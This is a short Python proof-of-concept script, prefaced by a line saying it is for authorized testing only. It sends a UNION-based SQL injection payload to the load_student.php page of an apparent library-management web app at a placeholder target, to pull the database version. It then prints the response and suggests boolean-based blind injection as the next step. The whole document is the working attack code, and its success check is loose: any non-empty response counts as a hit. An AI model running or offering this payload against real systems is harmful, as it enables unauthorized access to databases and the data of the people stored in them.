The following code is for security research and authorized testing only.
python
import requests
# Target URL
url = "http://target-ip/librarysystem/load_student.php"
# Payload to test SQL Injection (extracting database version)
# Assuming the parameter is 'id' or similar based on typical behavior
payload = {
"id": "1' UNION SELECT 1, version(), 3, 4-- -"
}
try:
response = requests.get(url, params=payload)
if response.status_code == 200:
# Check if database version is reflected in response
if "mysql" in response.text.lower() or response.text.strip():
print("[+] Potential SQL Injection vulnerability detected!")
print("[+] Response:", response.text[:200])
else:
print("[-] Injection did not return expected data, try boolean based blind.")
else:
print(f"[-] Request failed with status code: {response.status_code}")
except Exception as e:
print(f"[!] Error: {e}")